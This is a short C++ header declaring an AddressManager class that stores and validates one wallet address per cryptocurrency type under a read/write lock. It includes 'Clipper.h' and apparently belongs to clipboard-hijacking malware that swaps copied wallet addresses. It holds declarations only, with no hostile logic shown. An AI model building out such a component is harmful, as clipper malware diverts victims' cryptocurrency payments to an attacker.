#pragma once
#include "Clipper.h"
#include <Windows.h>
#include <string>
#include <array>
#include <vector>

class AddressManager
{
public:
    AddressManager();
    ~AddressManager() noexcept = default;

    bool SetAddress(Cryptocurrency type, const std::wstring& address);
    std::wstring GetAddress(Cryptocurrency type) const;

    bool HasAddress(Cryptocurrency type) const;
    bool IsAddressSet(Cryptocurrency type) const;

    bool RemoveAddress(Cryptocurrency type);
    void ClearAllAddresses();

    size_t GetConfiguredCount() const;
    std::vector<Cryptocurrency> GetConfiguredTypes() const;

    bool ValidateAndSet(Cryptocurrency type, const std::wstring& address);

private:
    bool IsValidType(Cryptocurrency type) const;
    size_t GetTypeIndex(Cryptocurrency type) const;

    void LockForRead() const;
    void UnlockFromRead() const;
    void LockForWrite();
    void UnlockFromWrite();

    std::array<std::wstring, Cryptocurrency::ElementsCount> mAddresses;
    std::array<bool, Cryptocurrency::ElementsCount> mIsSet;

    mutable SRWLOCK mLock;
};